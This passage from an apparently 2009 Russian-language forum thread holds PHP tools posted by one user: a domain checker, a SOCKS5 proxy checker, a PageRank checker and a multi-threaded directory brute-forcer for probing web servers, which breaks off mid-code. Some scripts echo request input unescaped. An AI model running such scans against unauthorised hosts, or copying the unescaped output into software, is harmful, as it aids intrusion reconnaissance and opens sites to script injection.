0iAgsQ4CEsgx6dkwE9kOAhLKfT2kREViGAAllGfTsmAjshwAJZ T+f0iIisAwBEsoy6NkxEdgPARLKfj6lRURgGQIklGXQs2MisB8 CJJT9fEqLiMAyBEgoy6Bnx0RgPwRIKPv5lBYRgWUIkFCWQc+Oi cB+CJBQ9vMpLSICyxAgoSyDnh0Tgf0QIKHs51NaRASWIUBCWQY 9OyYC+yFAQtnPp7SICCxD4G/UfFgG8FlpFgAAAABJRU5ErkJggg==">
<form method="post" action="">
<textarea name="doms" style="width:400px; height:200px; border:1px black solid; padding:3px; margin:15px"></textarea><br><br>
проверить на зоны<br>
<input name="dom" style="width:180px; height:20px; border:1px black solid; padding:3px; margin-top:5px; margin-bottom:15px; text-align:center"><br>
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
/*
тра тата .. типо коменты ..
опера рулит, валенки валяют ..
чек происходит не по всем доменам, но зато очень быстро, ибо на 1 домет тратиться всего 100байт входящего трафа ..
моё любимое слово из трёх букв - "ЕЩЁ"

(c) 159932
*/
$pag = 'http://ruserver.net/?p=check_domain&domain=';
if (!empty($_POST['doms'])){
echo '
<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left">';
$doms = explode("\n",$_POST['doms']);

$mh = curl_multi_init();
foreach ($doms as $url) {
if (strlen(trim($url)) > 3) $i = $pag.trim($url);
else continue;
$conn[$i] = curl_init($i);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle ($mh,$conn[$i]);
}

do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}

if ($mrc != CURLM_OK) print "*** сломался, по этой причине - $mrc\r\n";

foreach ($conn as $i => $url) {
$res[$i]=curl_multi_getcontent($conn[$i]);
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}

curl_multi_close($mh);

asort($res);

foreach($res as $url=>$data){
if (strpos($data,'whois_answer(-1);') !== false) echo '<font color="orange">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(0);') !== false) echo '<font color="red">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(1);') !== false) echo '<font color="green">'.substr($url,43).'</font><br>';
else echo '<font color="black">'.substr($url,43).'</font><br>';
}
unset($conn,$mh,$mrc,$res,$active,$i);

echo '</div>';
}

if (!empty($_POST['dom'])){
$zones = array('ru', 'su', 'com', 'net', 'org', 'biz', 'info', 'name', 'us', 'tv', 'cc', 'ws', 'cn', 'in', 'mobi', 'asia');
echo '
<div style="border:1px solid #E5E8D5; width:420px; padding:18px; margin:40px; background-color:#FFFBF2; text-align:left">';

$urls = explode(',',$_POST['dom']);
$mh = curl_multi_init();

while(count($urls)){
$url = trim($urls[0]);
array_shift($urls);
foreach ($zones as $zone) {
if (strlen($url) > 0) $i = $pag.$url.'.'.$zone;
else continue;
$conn[$i] = curl_init($i);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle ($mh,$conn[$i]);
}
}

do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}

if ($mrc != CURLM_OK) print "*** сломался, по этой причине - $mrc\r\n";

foreach ($conn as $i => $url) {
$res[$i]=curl_multi_getcontent($conn[$i]);
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}

curl_multi_close($mh);

asort($res);

foreach($res as $url=>$data){
if (strpos($data,'whois_answer(-1);') !== false) echo '<font color="orange">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(0);') !== false) echo '<font color="red">'.substr($url,43).'</font><br>';
elseif (strpos($data,'whois_answer(1);') !== false) echo '<font color="green">'.substr($url,43).'</font><br>';
else echo '<font color="black">'.substr($url,43).'</font><br>';
}
unset($conn,$mh,$mrc,$res,$active,$i);

echo '</div>';
}
?>
</center>
<div style="text-align:left; padding-left:8px; padding-bottom:5px; position:fixed; bottom:0; width:50%;">
<font color="red">site.com</font> - домен занят<br>
<font color="orange">site.com</font> - нет возможности проверить<br>
<font color="green">site.com</font> - домен свободен<br>
<font color="black">site.com</font> - произошла ошибка<br>
</div>
</body>
</html>
http://rapidshare.com/files/207337488/4_domen.php.html
а то пробелы форум лишние ставит=\

159932
10.03.2009, 03:08
<html>
<head><title>Чикаем носки до дырок! || намазано цыфрами ..</title>
<link href="data:image/ico;base64,AAABAAEAEBAAAAAAAABoBQAAFgAAACgAAAAQAAA AIAAAAAEACAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAA QGbAAAAngABAJ4AAAC3AAACwgABAsIAAgC3AAACoQAAAK8AAQC vAAAAyAAAAb0AAQCnAAAAwAADAKcAAgDAAAAAnwAAALgAAgC4A AABrQABAa0AAACwAAACuwACALAAAADJAAABpQACAaUAAAG+AAA AqAACAKgAAADBAAIBnQAAAKAAAAC5AAIAuQAAAccAAwGuAAIBx wAAALEAAADKAAABpgABAb8AAACpAAMBvwACAKkAAADCAAABtwA AAKEAAQC6AAABrwACAa8AAACyAAMAsgAAAKoAAQCqAAAAwwD//v8AAAGfAAEAwwACAZ8AAAG4AAAAogACAKIAAgC7AAAAmgABAck AAACzAAMByQAAAcEAAAKdAAABoAABAMQAAAG5AAEBuQAAAKMAA QCjAAAAvAADALwAAQGxAAAAmwACAJsAAAC0AAEAtAD9//4AAAGpAAEBqQD///4AAgHCAAAArAABAaEAAAG6AAAApAABAKQAAAC9AAEAvQABAJwA +///AAABqgD9//8A////AAABwwABAcMAAACtAAEAxgAAAKUAAQClAAIAvgAAAbMAAQGzAA AAnQAAALYAAQC2AAMAtgABAasAAgGrAAECoAAAAK4AAQCuAAIA rgAAAMcAAAGjAAIAxwAAAKYAAAKxAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBuAREDP0xdKR0rWXYWAE ERAwNHOlwaHXs2FXZ8Q1JgUSBGSw0aHjdZcnY0CmxwPAI6MFpc HVYddWdkOW0EEyEIXF0PajZVWXdkZGRvEjF0IUsbHR1ZNwlkOV RDSk5NPlx7KR05OTljZDlSSSJeHHldaS05YhUWZGFvEiJfDA55 Hh1XFQoYT29kMSNNHGsuHVU2YVkWQ21sZBIMXgYfLlU3c1cYJ3 AEIzkxLB8fWGVWWXUYZFNTImNbDg4FZmYZFAozJ29jVGQMDA4f RWh6QiV1NW0SE0oxDg4uZjsmCygybEMHL0BNECpFOGhoeAtEAH EvPRJrFw4fOGhIJCgZAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI ABAAA=" rel="icon" type="image/x-icon">
<style type="text/css">
.clearfloat {
clear : both;
height : 0;
font-size : 1px;
line-height : 0;
}
</style>
</head>
<center>
<br><br><br><br><br><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbwAAABuCAIAAAD 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 aMAAAAAElFTkSuQmCC"><br><br>
<form method="POST">
<input style="width:215px; border: 1px #89B4CC solid;" type="text" name="proxy" align="center">
<input type="submit" value="submit" style="border:1px #89B4CC solid;"></td></table>
</form>
<?php
/*
от надувных шариков ещё никто не умирал ..
# # # # # # # # # # # # # # # # #
чекает носок на пригодность ..

(с) 159932
*/
set_time_limit(20);

if (isset($_POST['proxy'])){
$sock = $_POST['proxy'];
if (!preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}: \d{1,5}#',$sock)) die('<br><font color="orange" size="10">носок не верно связан</font>');

$kala4 = curl_init('http://cmyip.com/');
curl_setopt($kala4, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($kala4, CURLOPT_TIMEOUT, 20);
curl_setopt($kala4, CURLOPT_PROXY, $sock);
curl_setopt($kala4, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
$uups = curl_exec($kala4);

$a = explode(':',$sock);
if (preg_match("#$a[0]#",$uups)) echo '<br><font color="green" size="10">'.$sock.'</font>';
else echo '<br><font color="red" size="10">в дауне</font>';

}
?>
</center>
</html>
http://rapidshare.com/files/207338772/4_socks5.php.html
а то пробелы форум лишние ставит=\

159932
10.03.2009, 03:09
<html>
<head><title>Хочешь поднять Pr сайта ? - ХУЙ - тут моно только чекать ..</title>
<style type="text/css">
.clearfloat {
clear:both;
height:0;
font-size:1px;
line-height:0;
}
</style>
</head>
<body><center><br><br><br><br><br>

<?
set_time_limit(0);
error_reporting(E_ALL);

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

define('GOOGLE_MAGIC', 0xE6359A60);
function nooverflow($a){
while ($a<-2147483648)
$a+=2147483648+2147483648;
while ($a>2147483647)
$a-=2147483648+2147483648;
return $a;
}

function zeroFill ($x, $bits){
if ($bits==0) return $x;
if ($bits==32) return 0;
$y = ($x & 0x7FFFFFFF) >> $bits;
if (0x80000000 & $x)
{
$y |= (1<<(31-$bits));
}
return $y;
}

function mix($a,$b,$c){
$a=(int)$a; $b=(int)$b; $c=(int)$c;
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,13));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<8);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,13));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,12));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<16);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,5));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,3));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<10);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,15));

return array($a,$b,$c);
}

function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) {
if(is_null($length)) {
$length = sizeof($url);
}
$a = $b = 0x9E3779B9;
$c = $init;
$k = 0;
$len = $length;
while($len >= 12) {
$a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
$b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
$c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
$mix = mix($a,$b,$c);
$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
$k += 12;
$len -= 12;
}

$c += $length;
switch($len) /* all the case statements fall through */
{
case 11: $c+=($url[$k+10]<<24);
case 10: $c+=($url[$k+9]<<16);
case 9 : $c+=($url[$k+8]<<8);
/* the first byte of c is reserved for the length */
case 8 : $b+=($url[$k+7]<<24);
case 7 : $b+=($url[$k+6]<<16);
case 6 : $b+=($url[$k+5]<<8);
case 5 : $b+=($url[$k+4]);
case 4 : $a+=($url[$k+3]<<24);
case 3 : $a+=($url[$k+2]<<16);
case 2 : $a+=($url[$k+1]<<8);
case 1 : $a+=($url[$k+0]);
/* case 0: nothing left to add */
}
$mix = mix($a,$b,$c);
/*-------------------------------------------- report the result */
return $mix[2];
}

function strord($string) {
for($i=0;$i<strlen($string);$i++) {
$result[$i] = ord($string{$i});
}
return $result;
}

function get_pr($url) {
$result='error';
if (($url.""!="")&&($url.""!="http://")):
if (substr(strtolower($url),0,7)!="http://"):
$url="http://".$url;
endif;

$url="info:".$url;
$checksum=GoogleCH(strord($url));
$google_url=sprintf("http://www.google.com/search?client=navclient&ch=6%u&features=Rank&q=".$url,$checksum); // url to get from google

$handle = fopen($google_url, "rb");
$contents = '';
while (!feof($handle)) {
$contents.= fread($handle, 8192);
}
fclose($handle);
$p=explode(":",$contents);
if (isset($p[2])):
$result=trim($p[2]);
endif;
endif;

return $result;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

if (isset($_GET['url'])){
echo '<br><br><b>'.$_GET['url'].'</b><br><br><table style="border: 1px dashed #89B4CC;">
<td align="center" width="70"><b>Pr</b> '.get_pr($_GET['url']).'</td><td align="right" width="70"><img src="http://yandex.ru/cycounter?'.$_GET['url'].'"></td>
</table><br><img src="http://traffic.alexa.com/graph?c=2&u='.$_GET['url'].'&r=6m&y=t&z=1&h=160&w=300"></center></body></html>';
die;
}


echo '<form method="post"><textarea style="width:425px; height:185px; border: 1px #89B4CC solid;" type="text" name="urls" cols="70" rows="7"></textarea><br><br>ТиЦ <input type="checkbox" name="yandex" checked="checked"><br><br><input type="submit" style="width:225px; height:35px; border: 1px #89B4CC solid;" value="Отравить" alt="крысиным ядом"></form>';
if (isset($_POST['urls'])){
preg_match_all('#[a-z0-9-_\.]{1,50}\.[a-z]{2,4}#i',$_POST['urls'],$urls) or die('<font color="red" size="6">А вот хрен! Надо вбивать урлы однако!</font>');
$urls = array_unique($urls[0]);
$prs = array();
foreach ($urls as $ur){
$prs[$ur] = get_pr($ur);
}
arsort($prs);

echo '<table>';
if ($_POST['yandex'] == 'on') echo '<tr><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;">Url</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="center">Pr</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="right">ТиЦ</td></tr>';
else echo '<tr><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;">Url</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="right">Pr</td></tr>';

foreach ($prs as $url=>$pr){
echo '<tr>';
if ($_POST['yandex'] == 'on') echo '<td style="border-bottom : 1px dashed #89B4CC;" align="left">'.$url.'</td><td align="center" width="70" style="border-bottom : 1px dashed #89B4CC;">'.$pr.'</td><td align="right" width="70" style="border-bottom : 1px dashed #89B4CC;"><img src="http://yandex.ru/cycounter?'.$url.'"></td>';
else echo '<td style="border-bottom : 1px dashed #89B4CC;" align="left">'.$url.'</td><td align="right" width="70" style="border-bottom : 1px dashed #89B4CC;">'.$pr.'</td>';
echo '</tr>';
}
echo '</table></center>';

}

?>
</center></body></html>
гетом можно отправлять 1 урл, чек происходит также алексы .php?url=mail.ru

http://rapidshare.com/files/207358958/4_pr.php.html
а то пробелы форум лишние ставит=\

159932
10.03.2009, 03:14
<html>
<head>
<title>Снифер-абфускатор-ёжикомер!</title>
<style type="text/css">
.clearfloat {
clear : both;
height : 0;
font-size : 1px;
line-height : 0;
}
</style>
</head>
<body><br><br><br>
Введите адрес исследуемого хоста.<br>
<form method="post">
<input name="url" type="text" style="width:205px; border: 1px #89B4CC solid; text-align:center" value="хост" onblur="if(this.value=='') this.value='хост';" onfocus="if(this.value=='хост') this.value='';"> /
<input name="path" type="text" style="width:110px; border: 1px #89B4CC solid; text-align:center" value="дира/ы" onblur="if(this.value=='') this.value='дира/ы';" onfocus="if(this.value=='дира/ы') this.value='';"> /
<input name="threads" type="text" style="width:58px; border: 1px #89B4CC solid; text-align:center" value="потоки" onblur="if(this.value=='') this.value='потоки';" onfocus="if(this.value=='потоки') this.value='';">
<input type="submit" value="бегин" style="border:1px #89B4CC solid;">
</form>
<br>
<pre>
<?
set_time_limit(0);
error_reporting(0);
ignore_user_abort();

$patt = ''; # путь до дир

if (isset($_POST['url'])) {

if ($_POST['url'] == 'хост') die('хост не введён');
if ($_POST['path'] != 'дира/ы') $path = $_POST['path'];
else $path = false;
if ($_POST['threads'] > 0) $cont = $_POST['threads'];
else $cont = 50; # кол-во потоков, если не введено - ставится пятдесят
$url = trim($_POST['url']);

$sta1 = microtime(true);
$fo = array_chunk(file($patt), $cont);
$fp = @fsockopen ($url, 80, $errno, $errstr, 30);
if (!$fp) echo 'Невозможно установить соединение с сервером.';
else {
$sea = fopen($url.'.htm','w');
fwrite($sea,'<html><title>'.$url.'</title><head><style>body {padding: 0px; margin:15px; color: #33FF33; background: #000000;}</style></head><body>');

echo '<hr><font color=\'DarkOrange\'>Host:'.$url.'</font><hr>';
$temp = array();
foreach ($fo as $dirs) {
$dirs = array_merge($dirs,$temp);
$temp = $ssh = $res = array();
$mh = curl_multi_init();
foreach ($dirs as $dir) {
$dir = trim($dir);
if ($dir[0] == '/') $dir = substr($dir, 1);
$ssh[$dir] = curl_init($url.'/'.($path = ($path) ? $path.'/' : '').$dir);
curl_setopt($ssh[$dir], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ssh[$dir], CURLOPT_HEADER, 1);
curl_setopt($ssh[$dir], CURLOPT_NOBODY, 1);
curl_setopt($ssh[$dir], CURLOPT_TIMEOUT, 240);
curl_multi_add_handle ($mh,$ssh[$dir]);
}
if (!sizeof($ssh)) continue;

do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}

foreach ($ssh as $i => $dir) {
$res[$i]=curl_multi_getcontent($ssh[$i]);
curl_multi_remove_handle($mh,$ssh[$i]);
curl_close($ssh[$i]);
}

curl_multi_close($mh);

foreach ($res as $dir=>$data) {
if (!strlen(trim($data))) {
++$arrors;
array_push($temp,$dir);
continue;
}
$data = explode("\n",$data);
$data = $data[0];
if (strpos($data,"200") or strpos($data,"201") or strpos($data,"202") or strpos($data,"203") or strpos($data,"204") or strpos($data,"205") or strpos($data,"206") or strpos($data,"207") or strpos($data,"226")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Yellow">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Yellow">'.$data."</font><br>\r\n");
}
